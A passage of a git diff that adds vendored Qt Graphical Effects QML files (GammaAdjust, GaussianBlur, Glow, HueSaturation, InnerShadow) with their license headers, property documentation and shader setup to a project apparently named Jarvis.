commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype GammaAdjust + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-color + \brief Alters the luminance of the source item. + + GammaAdjust is applied to each pixel according to the curve which is + pre-defined as a power-law expression, where the property gamma is used as the + reciprocal scaling exponent. Refer to the property documentation of \l{GammaAdjust::gamma}{gamma} + for more details. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image GammaAdjust_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet GammaAdjust-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item for which the luminance is going to be + adjusted. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the change factor for how the luminance of each pixel + is altered according to the equation: + + \code +luminance = pow(original_luminance, 1.0 / gamma); // The luminance is assumed to be between 0.0 and 1.0 + \endcode + + Setting the gamma values under 1.0 makes the image darker, the values + above 1.0 lighten it. + + The value ranges from 0.0 (darkest) to inf (lightest). By default, the + property is set to \c 1.0 (no change). + + \table + \header + \li Output examples with different gamma values + \li + \li + \row + \li \image GammaAdjust_gamma1.png + \li \image GammaAdjust_gamma2.png + \li \image GammaAdjust_gamma3.png + \row + \li \b { gamma: 0.5 } + \li \b { gamma: 1.0 } + \li \b { gamma: 2.0 } + \endtable + + \table + \header + \li Pixel luminance curves of the above images. + \li + \li + \row + \li \image GammaAdjust_gamma1_graph.png + \li \image GammaAdjust_gamma2_graph.png + \li \image GammaAdjust_gamma3_graph.png + \row + \li Red curve: default gamma (1.0) + \li + \li + \row + \li Yellow curve: effect applied + \li + \li + \row + \li X-axis: pixel original luminance + \li + \li + \row + \li Y-axis: pixel luminance with effect applied + \li + \li + \endtable + + */ + property real gamma: 1.0 + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + interpolation: input && input.smooth ? SourceProxy.LinearInterpolation : SourceProxy.NearestInterpolation + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property real gamma: 1.0 / Math.max(rootItem.gamma, 0.0001) + + anchors.fill: parent + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/gammaadjust.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/GaussianBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/GaussianBlur.qml new file mode 100644 index 00000000..4af97148 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/GaussianBlur.qml @@ -0,0 +1,372 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Copyright (C) 2017 Jolla Ltd, author: +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Window 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype GaussianBlur + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-blur + \brief Applies a higher quality blur effect. + + GaussianBlur effect softens the image by blurring it with an algorithm that + uses the Gaussian function to calculate the effect. The effect produces + higher quality than \l{QtGraphicalEffects::FastBlur}{FastBlur}, but is + slower to render. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image GaussianBlur_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet GaussianBlur-example.qml example + + Performing blur live is a costly operation. Fullscreen gaussian blur + with even a moderate number of samples will only run at 60 fps on highend + graphics hardware. + +*/ +Item { + id: root + + /*! + This property defines the source item that is going to be blurred. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the distance of the neighboring pixels which + affect the blurring of an individual pixel. A larger radius increases + the blur effect. + + The ideal blur is achieved by selecting \c samples and \c radius such + that \c {samples = 1 + radius * 2}, such as: + + \table + \header \li Radius \li Samples + \row \li 0 \e{(no blur)} \li 1 + \row \li 1 \li 3 + \row \li 2 \li 5 + \row \li 3 \li 7 + \endtable + + The value ranges from 0.0 (no blur) to inf. By default, the property is + set to \c floor(samples / 2.0). + + \table + \header + \li Output examples with different radius values + \li + \li + \row + \li \image GaussianBlur_radius1.png + \li \image GaussianBlur_radius2.png + \li \image GaussianBlur_radius3.png + \row + \li \b { radius: 0 } + \li \b { radius: 4 } + \li \b { radius: 8 } + \row + \li \l samples: 16 + \li \l samples: 16 + \li \l samples: 16 + \row + \li \l deviation: 3 + \li \l deviation: 3 + \li \l deviation: 3 + \endtable + + */ + property real radius: Math.floor(samples / 2); + + /*! + This property defines how many samples are taken per pixel when blur + calculation is done. Larger value produces better quality, but is slower + to render. + + Ideally, this value should be twice as large as the highest required + radius value plus 1, for example, if the radius is animated between 0.0 + and 4.0, samples should be set to 9. + + By default, the property is set to \c 9. + + \note This property is not intended to be animated. Changing this property may + cause the underlying OpenGL shaders to be recompiled. + + */ + property int samples: 9 + + /*! + This property is a parameter to the gaussian function that is used when + calculating neighboring pixel weights for the blurring. A larger + deviation causes image to appear more blurry, but it also reduces the + quality of the blur. A very large deviation value causes the effect to + look a bit similar to what, for exmple, a box blur algorithm produces. A + too small deviation values makes the effect insignificant for the pixels + near the radius. + + \inlineimage GaussianBlur_deviation_graph.png + \caption The image above shows the Gaussian function with two different + deviation values, yellow (1) and cyan (2.7). The y-axis shows the + weights, the x-axis shows the pixel distance. + + The value ranges from 0.0 (no deviation) to inf (maximum deviation). By + default, devaition is binded to radius. When radius increases, deviation + is automatically increased linearly. With the radius value of 8, the + deviation default value becomes approximately 2.7034. This value + produces a compromise between the blur quality and overall blurriness. + + \table + \header + \li Output examples with different deviation values + \li + \li + \row + \li \image GaussianBlur_deviation1.png + \li \image GaussianBlur_deviation2.png + \li \image GaussianBlur_deviation3.png + \row + \li \b { deviation: 1 } + \li \b { deviation: 2 } + \li \b { deviation: 4 } + \row + \li \l radius: 8 + \li \l radius: 8 + \li \l radius: 8 + \row + \li \l samples: 16 + \li \l samples: 16 + \li \l samples: 16 + \endtable + + */ + property real deviation: (radius + 1) / 3.3333 + + /*! + This property defines the blur behavior near the edges of the item, + where the pixel blurring is affected by the pixels outside the source + edges. + + If the property is set to \c true, the pixels outside the source are + interpreted to be transparent, which is similar to OpenGL + clamp-to-border extension. The blur is expanded slightly outside the + effect item area. + + If the property is set to \c false, the pixels outside the source are + interpreted to contain the same color as the pixels at the edge of the + item, which is similar to OpenGL clamp-to-edge behavior. The blur does + not expand outside the effect item area. + + By default, the property is set to \c false. + + \table + \header + \li Output examples with different transparentBorder values + \li + \li + \row + \li \image GaussianBlur_transparentBorder1.png + \li \image GaussianBlur_transparentBorder2.png + \row + \li \b { transparentBorder: false } + \li \b { transparentBorder: true } + \row + \li \l radius: 8 + \li \l radius: 8 + \row + \li \l samples: 16 + \li \l samples: 16 + \row + \li \l deviation: 2.7 + \li \l deviation: 2.7 + \endtable + */ + property bool transparentBorder: false + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + + // private members... + /*! \internal */ + property int _paddedTexWidth: transparentBorder ? width + 2 * radius: width; + /*! \internal */ + property int _paddedTexHeight: transparentBorder ? height + 2 * radius: height; + /*! \internal */ + property int _kernelRadius: Math.max(0, samples / 2); + /*! \internal */ + property int _kernelSize: _kernelRadius * 2 + 1; + /*! \internal */ + property real _dpr: Screen.devicePixelRatio; + /*! \internal */ + property bool _alphaOnly: false; + /*! \internal */ + property var _maskSource: undefined + + /*! \internal */ + property alias _output: sourceProxy.output; + /*! \internal */ + property alias _outputRect: sourceProxy.sourceRect; + /*! \internal */ + property alias _color: verticalBlur.color; + /*! \internal */ + property real _thickness: 0; + + onSamplesChanged: _rebuildShaders(); + on_KernelSizeChanged: _rebuildShaders(); + onDeviationChanged: _rebuildShaders(); + on_DprChanged: _rebuildShaders(); + on_MaskSourceChanged: _rebuildShaders(); + Component.onCompleted: _rebuildShaders(); + + /*! \internal */ + function _rebuildShaders() { + var params = { + radius: _kernelRadius, + // Limit deviation to something very small avoid getting NaN in the shader. + deviation: Math.max(0.00001, deviation), + alphaOnly: root._alphaOnly, + masked: _maskSource != undefined, + fallback: root.radius != _kernelRadius + } + var shaders = ShaderBuilder.gaussianBlur(params); + horizontalBlur.fragmentShader = shaders.fragmentShader; + horizontalBlur.vertexShader = shaders.vertexShader; + } + + SourceProxy { + id: sourceProxy + interpolation: SourceProxy.LinearInterpolation + input: root.source + sourceRect: root.transparentBorder + ? Qt.rect(-root.radius, 0, root._paddedTexWidth, parent.height) + : Qt.rect(0, 0, 0, 0) + } + + ShaderEffect { + id: horizontalBlur + width: root.transparentBorder ? root._paddedTexWidth : root.width + height: root.height; + + // Used by all shaders + property Item source: sourceProxy.output; + property real spread: root.radius / root._kernelRadius; + property var dirstep: Qt.vector2d(1 / (root._paddedTexWidth * root._dpr), 0); + + // Used by fallback shader (sampleCount exceeds number of varyings) + property real deviation: root.deviation + + // Only in use for DropShadow and Glow + property color color: "white" + property real thickness: Math.max(0, Math.min(0.98, 1 - root._thickness * 0.98)); + + // Only in use for MaskedBlur + property var mask: root._maskSource; + + layer.enabled: true + layer.smooth: true + layer.sourceRect: root.transparentBorder + ? Qt.rect(0, -root.radius, width, root._paddedTexHeight) + : Qt.rect(0, 0, 0, 0) + visible: false + blending: false + } + + ShaderEffect { + id: verticalBlur + x: transparentBorder ? -root.radius : 0 + y: x; + width: root.transparentBorder ? root._paddedTexWidth: root.width + height: root.transparentBorder ? root._paddedTexHeight : root.height; + fragmentShader: horizontalBlur.fragmentShader + vertexShader: horizontalBlur.vertexShader + + property Item source: horizontalBlur + property real spread: horizontalBlur.spread + property var dirstep: Qt.vector2d(0, 1 / (root._paddedTexHeight * root._dpr)); + + property real deviation: horizontalBlur.deviation + + property color color: "black" + property real thickness: horizontalBlur.thickness; + + property var mask: horizontalBlur.mask; + + visible: true + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: verticalBlur + visible: root.cached + smooth: true + sourceItem: verticalBlur + hideSource: visible + } + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Glow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Glow.qml new file mode 100644 index 00000000..39e69a35 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Glow.qml @@ -0,0 +1,294 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Copyright (C) 2017 Jolla Ltd, author: +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype Glow + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-glow + \brief Generates a halo like glow around the source item. + + The Glow effect blurs the alpha channel of the source and colorizes it + with \l {Glow::color}{color} and places it behind the source, resulting in a halo or glow + around the object. The quality of the blurred edge can be controlled using + \l samples and \l radius and the strength of the glow can be changed using + \l spread. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_butterfly_black.png + \li \image Glow_butterfly.png + \endtable + + The glow is created by blurring the image live using a gaussian blur. + Performing blur live is a costly operation. Fullscreen gaussian blur with + even a moderate number of samples will only run at 60 fps on highend + graphics hardware. + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet Glow-example.qml example + +*/ +Item { + id: root + + DropShadowBase { + id: dps + anchors.fill: parent + color: "white" + spread: 0.5 + horizontalOffset: 0 + verticalOffset: 0 + } + + /*! + This property defines the source item that is going to be used as source + for the generated glow. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property alias source: dps.source + + /*! + Radius defines the softness of the glow. A larger radius causes the + edges of the glow to appear more blurry. + + Depending on the radius value, value of the \l{Glow::samples}{samples} + should be set to sufficiently large to ensure the visual quality. + + The ideal blur is achieved by selecting \c samples and \c radius such + that \c {samples = 1 + radius * 2}, such as: + + \table + \header \li Radius \li Samples + \row \li 0 \e{(no blur)} \li 1 + \row \li 1 \li 3 + \row \li 2 \li 5 + \row \li 3 \li 7 + \endtable + + By default, the property is set to \c {floor(samples/2)}. + + \table + \header + \li Output examples with different radius values + \li + \li + \row + \li \image Glow_radius1.png + \li \image Glow_radius2.png + \li \image Glow_radius3.png + \row + \li \b { radius: 0 } + \li \b { radius: 6 } + \li \b { radius: 12 } + \row + \li \l samples: 25 + \li \l samples: 25 + \li \l samples: 25 + \row + \li \l color: #ffffff + \li \l color: #ffffff + \li \l color: #ffffff + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \endtable + */ + property alias radius: dps.radius + + /*! + This property defines how many samples are taken per pixel when edge + softening blur calculation is done. Larger value produces better + quality, but is slower to render. + + Ideally, this value should be twice as large as the highest required + radius value plus one, such as: + + \table + \header \li Radius \li Samples + \row \li 0 \e{(no blur)} \li 1 + \row \li 1 \li 3 + \row \li 2 \li 5 + \row \li 3 \li 7 + \endtable + + By default, the property is set to \c 9. + + This property is not intended to be animated. Changing this property will + cause the underlying OpenGL shaders to be recompiled. + */ + property alias samples: dps.samples + + /*! + This property defines how large part of the glow color is strengthened + near the source edges. + + The values range from 0.0 to 1.0. By default, the property is set to \c + 0.5. + + \note The implementation is optimized for medium and low spread values. + Depending on the source, spread values closer to 1.0 may yield visually + asymmetrical results. + + \table + \header + \li Output examples with different spread values + \li + \li + \row + \li \image Glow_spread1.png + \li \image Glow_spread2.png + \li \image Glow_spread3.png + \row + \li \b { spread: 0.0 } + \li \b { spread: 0.5 } + \li \b { spread: 1.0 } + \row + \li \l radius: 8 + \li \l radius: 8 + \li \l radius: 8 + \row + \li \l samples: 17 + \li \l samples: 17 + \li \l samples: 17 + \row + \li \l color: #ffffff + \li \l color: #ffffff + \li \l color: #ffffff + \endtable + */ + property alias spread: dps.spread + + /*! + This property defines the RGBA color value which is used for the glow. + + By default, the property is set to \c "white". + + \table + \header + \li Output examples with different color values + \li + \li + \row + \li \image Glow_color1.png + \li \image Glow_color2.png + \li \image Glow_color3.png + \row + \li \b { color: #ffffff } + \li \b { color: #00ff00 } + \li \b { color: #aa00ff00 } + \row + \li \l radius: 8 + \li \l radius: 8 + \li \l radius: 8 + \row + \li \l samples: 17 + \li \l samples: 17 + \li \l samples: 17 + \row + \li \l spread: 0.5 + \li \l spread: 0.5 + \li \l spread: 0.5 + \endtable + + */ + property alias color: dps.color + + /*! + \internal + + Starting Qt 5.6, this property has no effect. It is left here + for source compatibility only. + + ### Qt 6: remove + */ + property bool fast: false + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property alias cached: dps.cached + + /*! + This property determines whether or not the effect has a transparent + border. + + When set to \c true, the exterior of the item is padded with a + transparent edge, making sampling outside the source texture use + transparency instead of the edge pixels. Without this property, an + image which has opaque edges will not get a blurred edge. + + By default, the property is set to \c true. Set it to false if the source + already has a transparent edge to make the blurring a tiny bit faster. + + In the snippet below, the Rectangle on the left has transparent borders + and has blurred edges, whereas the Rectangle on the right does not. + + \snippet Glow-transparentBorder-example.qml example + + \image Glow-transparentBorder.png + */ + property alias transparentBorder: dps.transparentBorder +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/HueSaturation.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/HueSaturation.qml new file mode 100644 index 00000000..eb13dcb6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/HueSaturation.qml @@ -0,0 +1,224 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype HueSaturation + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-color + \brief Alters the source item colors in the HSL color space. + + HueSaturation is similar to the \l{QtGraphicalEffects::Colorize}{Colorize} + effect, but the hue and saturation property values are handled differently. + The HueSaturation effect always shifts the hue, saturation, and lightness + from the original, instead of setting them. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image HueSaturation_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet HueSaturation-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that provides the source pixels + for the effect. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source: 0 + + /*! + This property defines the hue value which is added to the source hue + value. + + The value ranges from -1.0 (decrease) to 1.0 (increase). By default, the + property is set to \c 0.0 (no change). + + \table + \header + \li Output examples with different hue values + \li + \li + \row + \li \image HueSaturation_hue1.png + \li \image HueSaturation_hue2.png + \li \image HueSaturation_hue3.png + \row + \li \b { hue: -0.3 } + \li \b { hue: 0.0 } + \li \b { hue: 0.3 } + \row + \li \l saturation: 0 + \li \l saturation: 0 + \li \l saturation: 0 + \row + \li \l lightness: 0 + \li \l lightness: 0 + \li \l lightness: 0 + \endtable + + */ + property real hue: 0.0 + + /*! + This property defines the saturation value value which is added to the + source saturation value. + + The value ranges from -1.0 (decrease) to 1.0 (increase). By default, the + property is set to \c 0.0 (no change). + + \table + \header + \li Output examples with different saturation values + \li + \li + \row + \li \image HueSaturation_saturation1.png + \li \image HueSaturation_saturation2.png + \li \image HueSaturation_saturation3.png + \row + \li \b { saturation: -0.8 } + \li \b { saturation: 0.0 } + \li \b { saturation: 1.0 } + \row + \li \l hue: 0 + \li \l hue: 0 + \li \l hue: 0 + \row + \li \l lightness: 0 + \li \l lightness: 0 + \li \l lightness: 0 + \endtable + + */ + property real saturation: 0.0 + + /*! + This property defines the lightness value which is added to the source + saturation value. + + The value ranges from -1.0 (decrease) to 1.0 (increase). By default, the + property is set to \c 0.0 (no change). + + \table + \header + \li Output examples with different lightness values + \li + \li + \row + \li \image HueSaturation_lightness1.png + \li \image HueSaturation_lightness2.png + \li \image HueSaturation_lightness3.png + \row + \li \b { lightness: -0.5 } + \li \b { lightness: 0.0 } + \li \b { lightness: 0.5 } + \row + \li \l hue: 0 + \li \l hue: 0 + \li \l hue: 0 + \row + \li \l saturation: 0 + \li \l saturation: 0 + \li \l saturation: 0 + \endtable + + */ + property real lightness: 0.0 + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + interpolation: input && input.smooth ? SourceProxy.LinearInterpolation : SourceProxy.NearestInterpolation + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property variant hsl: Qt.vector3d(rootItem.hue, rootItem.saturation, rootItem.lightness) + + anchors.fill: parent + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/huesaturation.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/InnerShadow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/InnerShadow.qml new file mode 100644 index 00000000..7a388e34 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/InnerShadow.qml @@ -0,0 +1,386 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype InnerShadow + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-drop-shadow + \brief Generates a colorized and blurred shadow inside the + source. + + By default the effect produces a high quality shadow image, thus the + rendering speed of the shadow might not be the highest possible. The + rendering speed is reduced especially if the shadow edges are heavily + softened. For use cases that require faster rendering speed and for which + the highest possible visual quality is not necessary, property + \l{InnerShadow::fast}{fast} can be set to true. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_butterfly.png + \li \image InnerShadow_butterfly.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet InnerShadow-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that is going to be used as the + source for the generated shadow. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + Radius defines the softness of the shadow. A larger radius causes the + edges of the shadow to appear more blurry. + + Depending on the radius value, value of the + \l{InnerShadow::samples}{samples} should be set to sufficiently large to + ensure the visual quality. + + The value ranges from 0.0 (no blur) to inf. By default, the property is + set to \c 0.0 (no blur). + + \table + \header + \li Output examples with different radius values + \li + \li + \row + \li \image InnerShadow_radius1.png + \li \image InnerShadow_radius2.png + \li \image InnerShadow_radius3.png + \row + \li \b { radius: 0 } + \li \b { radius: 6 } + \li \b { radius: 12 } + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l color: #000000 + \li \l color: #000000 + \li \l color: #000000 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \endtable + + */ + property real radius: 0.0 + + /*! + This property defines how many samples are taken per pixel when edge + softening blur calculation is done. Larger value produces better + quality, but is slower to render. + + Ideally, this value should be twice as large as the highest required + radius value, for example, if the radius is animated between 0.0 and + 4.0, samples should be set to 8. + + The value ranges from 0 to 32. By default, the property is set to \c 0. + + This property is not intended to be animated. Changing this property may + cause the underlying OpenGL shaders to be recompiled. + + When \l{InnerShadow::fast}{fast} property is set to true, this property + has no effect. + + */ + property int samples: 0 + + /*! + This property defines how large part of the shadow color is strengthened + near the source edges. + + The value ranges from 0.0 to 1.0. By default, the property is set to \c + 0.5. + + \table + \header + \li Output examples with different spread values + \li + \li + \row + \li \image InnerShadow_spread1.png + \li \image InnerShadow_spread2.png + \li \image InnerShadow_spread3.png + \row + \li \b { spread: 0.0 } + \li \b { spread: 0.3 } + \li \b { spread: 0.5 } + \row + \li \l radius: 16 + \li \l radius: 16 + \li \l radius: 16 + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l color: #000000 + \li \l color: #000000 + \li \l color: #000000 + \row + \li \l 